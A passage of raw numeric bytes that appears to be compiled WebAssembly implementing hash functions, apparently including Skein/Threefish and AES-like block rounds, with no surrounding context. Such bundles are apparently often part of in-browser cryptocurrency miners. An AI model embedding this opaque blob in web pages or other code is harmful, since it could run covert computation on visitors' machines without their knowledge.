134,32,13,66,18,136,132,32,20,133,34,19,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,23,124,34,16,32,32,124,32,18,66,22,134,32,18,66,42,136,132,32,21,133,32,31,124,34,13,124,34,17,124,33,18,32,20,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,20,124,33,23,32,14,66,37,134,32,14,66,27,136,132,32,22,133,34,14,32,21,32,30,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,33,124,34,15,124,34,16,124,34,17,32,19,66,33,134,32,19,66,31,136,132,32,18,133,34,13,124,33,19,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,17,134,32,13,66,47,136,132,32,19,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,42,134,32,20,66,22,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,19,124,33,22,32,14,66,39,134,32,14,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,26,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,32,124,34,13,124,33,18,32,20,32,35,32,27,124,34,35,124,32,24,66,7,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,31,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,30,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,29,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,43,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,32,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,31,124,34,13,124,33,19,32,18,32,38,124,32,25,66,8,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,30,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,29,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,28,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,35,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,31,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,30,124,34,13,124,33,20,32,19,32,37,124,32,26,66,9,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,29,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,28,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,27,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,38,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,18,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,19,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,21,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,30,124,32,18,66,8,134,32,18,66,56,136,132,32,20,133,32,29,124,34,13,124,33,18,32,20,32,39,124,32,32,66,10,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,20,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,21,124,34,16,32,28,124,32,19,66,22,134,32,19,66,42,136,132,32,22,133,32,27,124,34,13,124,34,17,124,33,19,32,18,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,18,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,24,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,37,124,34,15,124,34,16,124,34,17,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,13,124,33,20,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,17,134,32,13,66,47,136,132,32,20,133,34,19,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,42,134,32,18,66,22,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,20,124,33,23,32,14,66,39,134,32,14,66,25,136,132,32,22,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,29,124,32,19,66,44,134,32,19,66,20,136,132,32,18,133,32,28,124,34,13,124,33,19,32,18,32,40,124,32,31,66,11,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,19,133,34,18,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,22,124,34,16,32,27,124,32,20,66,56,134,32,20,66,8,136,132,32,23,133,32,24,124,34,13,124,34,17,124,33,20,32,19,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,19,124,33,22,32,14,66,24,134,32,14,66,40,136,132,32,21,133,34,14,32,23,32,25,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,39,124,34,15,124,34,16,124,34,17,32,18,66,13,134,32,18,66,51,136,132,32,20,133,34,13,124,33,18,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,25,134,32,13,66,39,136,132,32,18,133,34,20,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,17,134,32,19,66,47,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,18,124,33,21,32,14,66,43,134,32,14,66,21,136,132,32,23,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,28,124,32,20,66,8,134,32,20,66,56,136,132,32,19,133,32,27,124,34,13,124,33,20,32,19,32,41,124,32,30,66,12,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,22,32,13,66,46,134,32,13,66,18,136,132,32,20,133,34,19,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,23,124,34,16,32,24,124,32,18,66,22,134,32,18,66,42,136,132,32,21,133,32,25,124,34,13,124,34,17,124,33,18,32,20,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,20,124,33,23,32,14,66,37,134,32,14,66,27,136,132,32,22,133,34,14,32,21,32,26,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,40,124,34,15,124,34,16,124,34,17,32,19,66,33,134,32,19,66,31,136,132,32,18,133,34,13,124,33,19,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,17,134,32,13,66,47,136,132,32,19,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,42,134,32,20,66,22,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,19,124,33,22,32,14,66,39,134,32,14,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,27,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,24,124,34,13,124,33,18,32,20,32,42,124,32,29,66,13,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,25,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,26,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,32,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,41,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,24,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,25,124,34,13,124,33,19,32,18,32,33,124,32,28,66,14,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,26,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,32,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,31,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,42,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,25,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,26,124,34,13,124,33,20,32,19,32,43,124,32,27,66,15,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,32,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,31,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,30,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,33,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,33,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,21,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,18,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,15,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,33,133,34,14,32,18,66,10,134,32,18,66,54,136,132,32,16,133,34,19,32,23,124,34,16,124,34,17,32,26,124,32,21,66,8,134,32,21,66,56,136,132,32,15,133,32,32,124,34,13,124,33,18,32,15,32,35,124,32,24,66,16,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,15,32,19,66,39,134,32,19,66,25,136,132,32,16,133,34,13,32,33,124,34,17,32,31,124,32,20,66,22,134,32,20,66,42,136,132,32,22,133,32,30,124,34,16,124,34,24,124,33,20,32,18,32,16,66,36,134,32,16,66,28,136,132,32,24,133,34,19,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,29,124,32,13,66,56,134,32,13,66,8,136,132,32,17,133,32,43,124,34,13,124,34,17,124,34,24,32,15,66,33,134,32,15,66,31,136,132,32,20,133,34,16,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,24,133,34,15,32,20,124,33,22,32,16,66,17,134,32,16,66,47,136,132,32,18,133,34,14,32,13,66,19,134,32,13,66,45,136,132,32,17,133,34,13,32,23,124,34,17,32,19,66,42,134,32,19,66,22,136,132,32,21,133,34,16,124,34,24,124,33,19,32,18,32,16,66,49,134,32,16,66,15,136,132,32,24,133,34,18,124,33,20,32,15,66,39,134,32,15,66,25,136,132,32,22,133,34,16,32,13,66,14,134,32,13,66,50,136,132,32,17,133,34,15,32,21,124,34,17,124,34,24,32,32,124,32,14,66,44,134,32,14,66,20,136,132,32,19,133,32,31,124,34,13,124,33,14,32,19,32,38,124,32,25,66,17,124,32,16,66,9,134,32,16,66,55,136,132,32,24,133,124,34,16,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,14,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,17,133,34,13,32,22,124,34,24,32,30,124,32,18,66,56,134,32,18,66,8,136,132,32,20,133,32,29,124,34,17,124,34,25,124,33,18,32,14,32,17,66,30,134,32,17,66,34,136,132,32,25,133,34,15,124,33,22,32,16,66,24,134,32,16,66,40,136,132,32,21,133,34,16,32,20,32,28,124,32,13,66,54,134,32,13,66,10,136,132,32,24,133,32,35,124,34,14,124,34,24,124,34,25,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,17,124,33,13,32,16,66,50,134,32,16,66,14,136,132,32,25,133,34,16,32,18,124,33,20,32,17,66,25,134,32,17,66,39,136,132,32,13,133,34,19,32,14,66,34,134,32,14,66,30,136,132,32,24,133,34,18,32,21,124,34,24,32,15,66,17,134,32,15,66,47,136,132,32,22,133,34,17,124,34,25,124,33,15,32,13,32,17,66,29,134,32,17,66,35,136,132,32,25,133,34,14,124,33,13,32,3,32,16,66,43,134,32,16,66,21,136,132,32,20,133,34,16,32,18,66,10,134,32,18,66,54,136,132,32,24,133,34,24,32,22,124,34,25,124,34,17,32,31,124,32,47,133,34,31,55,3,0,32,12,32,19,66,8,134,32,19,66,56,136,132,32,15,133,32,30,124,32,48,133,34,30,55,3,0,32,11,32,24,66,39,134,32,24,66,25,136,132,32,25,133,34,24,32,20,124,34,25,32,29,124,32,51,133,34,29,55,3,0,32,10,32,14,66,22,134,32,14,66,42,136,132,32,13,133,32,28,124,32,52,133,34,28,55,3,0,32,9,32,13,32,27,124,32,53,133,34,27,55,3,0,32,8,32,24,66,56,134,32,24,66,8,136,132,32,25,133,32,38,124,32,54,133,34,24,55,3,0,32,7,32,15,32,37,124,32,49,133,34,25,55,3,0,32,6,32,26,66,18,124,32,16,66,35,134,32,16,66,29,136,132,32,17,133,124,32,50,133,34,26,55,3,0,32,34,66,255,255,255,255,255,255,255,255,191,127,131,33,34,32,2,65,127,106,34,2,4,64,32,0,33,1,12,1,11,11,32,4,32,46,32,45,66,1,124,32,44,126,124,55,3,0,32,5,32,34,55,3,0,11,236,10,1,67,127,35,4,33,3,35,4,65,128,2,106,36,4,32,2,65,63,76,4,64,32,3,36,4,15,11,32,3,65,192,0,106,33,4,32,3,65,192,1,106,34,5,65,4,106,33,8,32,5,65,8,106,33,9,32,5,65,12,106,33,10,32,5,65,16,106,33,11,32,5,65,20,106,33,12,32,5,65,24,106,33,13,32,5,65,28,106,33,14,32,5,65,32,106,33,15,32,5,65,36,106,33,16,32,5,65,40,106,33,17,32,5,65,44,106,33,18,32,5,65,48,106,33,19,32,5,65,52,106,33,20,32,5,65,56,106,33,21,32,5,65,60,106,33,22,32,3,65,128,1,106,34,6,65,4,106,33,55,32,6,65,8,106,33,56,32,6,65,12,106,33,57,32,6,65,16,106,33,58,32,6,65,20,106,33,59,32,6,65,24,106,33,60,32,6,65,28,106,33,61,32,6,65,32,106,33,62,32,6,65,36,106,33,63,32,6,65,40,106,33,64,32,6,65,44,106,33,65,32,6,65,48,106,33,66,32,6,65,52,106,33,67,32,6,65,56,106,33,68,32,6,65,60,106,33,69,32,0,65,192,0,106,33,23,32,0,65,196,0,106,33,24,32,0,65,44,106,34,25,40,2,0,33,26,32,0,65,48,106,34,27,40,2,0,33,28,32,0,65,52,106,34,29,40,2,0,33,30,32,0,65,56,106,34,31,40,2,0,33,32,32,0,65,60,106,34,33,40,2,0,33,34,32,0,65,4,106,34,35,40,2,0,33,36,32,0,65,8,106,34,37,40,2,0,33,38,32,0,65,12,106,34,39,40,2,0,33,40,32,0,65,16,106,34,41,40,2,0,33,42,32,0,65,20,106,34,43,40,2,0,33,44,32,0,65,24,106,34,45,40,2,0,33,46,32,0,65,28,106,34,47,40,2,0,33,48,32,0,65,32,106,34,49,40,2,0,33,50,32,0,65,36,106,34,51,40,2,0,33,52,32,0,65,40,106,34,53,40,2,0,33,54,3,64,32,3,32,1,41,2,0,55,2,0,32,3,32,1,41,2,8,55,2,8,32,3,32,1,41,2,16,55,2,16,32,3,32,1,41,2,24,55,2,24,32,3,32,1,41,2,32,55,2,32,32,3,32,1,41,2,40,55,2,40,32,3,32,1,41,2,48,55,2,48,32,3,32,1,41,2,56,55,2,56,32,5,32,0,40,2,0,32,1,40,2,0,115,54,2,0,32,8,32,1,40,2,4,32,36,115,54,2,0,32,9,32,1,40,2,8,32,38,115,54,2,0,32,10,32,1,40,2,12,32,40,115,54,2,0,32,11,32,1,40,2,16,32,42,115,54,2,0,32,12,32,1,40,2,20,32,44,115,54,2,0,32,13,32,1,40,2,24,32,46,115,54,2,0,32,14,32,1,40,2,28,32,48,115,54,2,0,32,15,32,1,40,2,32,32,50,115,54,2,0,32,16,32,1,40,2,36,32,52,115,54,2,0,32,17,32,1,40,2,40,32,54,115,54,2,0,32,18,32,1,40,2,44,32,26,115,54,2,0,32,19,32,1,40,2,48,32,28,115,54,2,0,32,20,32,1,40,2,52,32,30,115,54,2,0,32,21,32,1,40,2,56,32,32,115,54,2,0,32,22,32,1,40,2,60,32,34,115,54,2,0,32,3,32,4,65,0,16,13,32,4,32,3,65,128,128,128,8,16,13,32,3,32,4,65,128,128,128,16,16,13,32,4,32,3,65,128,128,128,24,16,13,32,3,32,4,65,128,128,128,32,16,13,32,4,32,3,65,128,128,128,40,16,13,32,3,32,4,65,128,128,128,48,16,13,32,4,32,3,65,128,128,128,56,16,13,32,3,32,4,65,128,128,128,192,0,16,13,32,4,32,6,65,128,128,128,200,0,16,13,32,5,32,4,65,0,16,10,32,4,32,3,65,1,16,10,32,3,32,4,65,2,16,10,32,4,32,3,65,3,16,10,32,3,32,4,65,4,16,10,32,4,32,3,65,5,16,10,32,3,32,4,65,6,16,10,32,4,32,3,65,7,16,10,32,3,32,4,65,8,16,10,32,4,32,5,65,9,16,10,32,0,32,6,40,2,0,32,5,40,2,0,115,32,0,40,2,0,115,54,2,0,32,35,32,55,40,2,0,32,8,40,2,0,115,32,35,40,2,0,115,34,36,54,2,0,32,37,32,56,40,2,0,32,9,40,2,0,115,32,37,40,2,0,115,34,38,54,2,0,32,39,32,57,40,2,0,32,10,40,2,0,115,32,39,40,2,0,115,34,40,54,2,0,32,41,32,58,40,2,0,32,11,40,2,0,115,32,41,40,2,0,115,34,42,54,2,0,32,43,32,59,40,2,0,32,12,40,2,0,115,32,43,40,2,0,115,34,44,54,2,0,32,45,32,60,40,2,0,32,13,40,2,0,115,32,45,40,2,0,115,34,46,54,2,0,32,47,32,61,40,2,0,32,14,40,2,0,115,32,47,40,2,0,115,34,48,54,2,0,32,49,32,62,40,2,0,32,15,40,2,0,115,32,49,40,2,0,115,34,50,54,2,0,32,51,32,63,40,2,0,32,16,40,2,0,115,32,51,40,2,0,115,34,52,54,2,0,32,53,32,64,40,2,0,32,17,40,2,0,115,32,53,40,2,0,115,34,54,54,2,0,32,25,32,65,40,2,0,32,18,40,2,0,115,32,25,40,2,0,115,34,26,54,2,0,32,27,32,66,40,2,0,32,19,40,2,0,115,32,27,40,2,0,115,34,28,54,2,0,32,29,32,67,40,2,0,32,20,40,2,0,115,32,29,40,2,0,115,34,30,54,2,0,32,31,32,68,40,2,0,32,21,40,2,0,115,32,31,40,2,0,115,34,32,54,2,0,32,33,32,69,40,2,0,32,22,40,2,0,115,32,33,40,2,0,115,34,34,54,2,0,32,23,32,23,40,2,0,65,1,106,34,7,54,2,0,32,7,69,4,64,32,24,32,24,40,2,0,65,1,106,54,2,0,11,32,2,65,64,106,33,7,32,1,65,192,0,106,33,1,32,2,65,255,0,74,4,64,32,7,33,2,12,1,11,11,32,3,36,4,11,175,27,2,5,127,27,126,32,3,173,33,29,32,2,65,127,106,173,33,30,32,0,65,8,106,34,3,41,3,0,34,31,33,27,32,0,65,16,106,34,4,41,3,0,33,25,32,0,65,48,106,34,5,41,3,0,33,22,32,0,65,40,106,34,6,41,3,0,33,16,32,0,65,32,106,34,7,41,3,0,33,23,32,0,65,24,106,34,8,41,3,0,33,17,3,64,32,27,32,29,124,34,27,32,25,133,33,14,32,1,65,32,106,33,0,32,1,41,0,16,34,32,32,25,32,16,124,34,18,124,32,1,41,0,24,34,33,32,22,124,34,15,124,33,24,32,15,66,16,134,32,15,66,48,136,132,32,24,133,34,15,32,1,41,0,0,34,34,32,17,124,32,1,41,0,8,34,35,32,27,32,23,124,34,20,124,34,19,124,34,10,124,33,9,32,15,66,52,134,32,15,66,12,136,132,32,9,133,34,15,32,19,66,14,134,32,19,66,50,136,132,32,10,133,34,19,32,24,124,34,21,124,33,24,32,15,66,40,134,32,15,66,24,136,132,32,24,133,34,10,32,19,66,57,134,32,19,66,7,136,132,32,21,133,34,15,32,9,124,34,9,124,33,19,32,15,66,23,134,32,15,66,41,136,132,32,9,133,34,9,32,24,124,34,11,32,14,32,22,124,34,24,124,32,22,66,162,180,240,207,170,251,198,232,27,133,32,16,133,32,23,133,32,17,133,34,15,66,1,124,32,10,66,5,134,32,10,66,59,136,132,32,19,133,124,34,10,124,33,21,32,10,66,33,134,32,10,66,31,136,132,32,21,133,34,10,32,19,32,23,124,32,9,66,37,134,32,9,66,27,136,132,32,11,133,32,18,124,34,19,124,34,11,124,33,9,32,10,66,46,134,32,10,66,18,136,132,32,9,133,34,10,32,19,66,25,134,32,19,66,39,136,132,32,11,133,34,19,32,21,124,34,11,124,33,21,32,10,66,22,134,32,10,66,42,136,132,32,21,133,34,10,32,19,66,12,134,32,19,66,52,136,132,32,11,133,34,19,32,9,124,34,11,124,33,9,32,19,66,58,134,32,19,66,6,136,132,32,11,133,34,11,32,21,124,34,12,32,15,32,27,124,34,19,124,32,17,66,2,124,32,10,66,32,134,32,10,66,32,136,132,32,9,133,124,34,10,124,33,21,32,10,66,16,134,32,10,66,48,136,132,32,21,133,34,10,32,9,32,16,124,32,11,66,32,134,32,11,66,32,136,132,32,12,133,32,24,124,34,9,124,34,12,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,12,133,34,9,32,21,124,34,12,124,33,21,32,10,66,40,134,32,10,66,24,136,132,32,21,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,12,133,34,9,32,21,124,34,13,32,25,32,17,124,34,21,124,32,23,66,3,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,22,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,19,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,14,32,23,124,34,26,124,32,16,66,4,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,15,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,21,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,16,124,34,28,124,32,22,66,5,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,17,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,25,32,22,124,34,26,124,32,15,66,6,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,23,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,15,32,14,124,34,28,124,32,17,66,7,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,16,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,17,124,34,26,124,32,23,66,8,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,22,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,